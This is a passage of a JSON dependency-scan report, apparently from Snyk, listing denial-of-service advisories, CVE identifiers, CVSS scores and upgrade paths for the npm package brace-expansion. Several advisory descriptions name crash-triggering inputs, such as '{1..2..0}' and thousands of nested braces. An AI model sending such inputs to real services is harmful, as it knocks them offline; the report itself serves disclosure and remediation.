],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
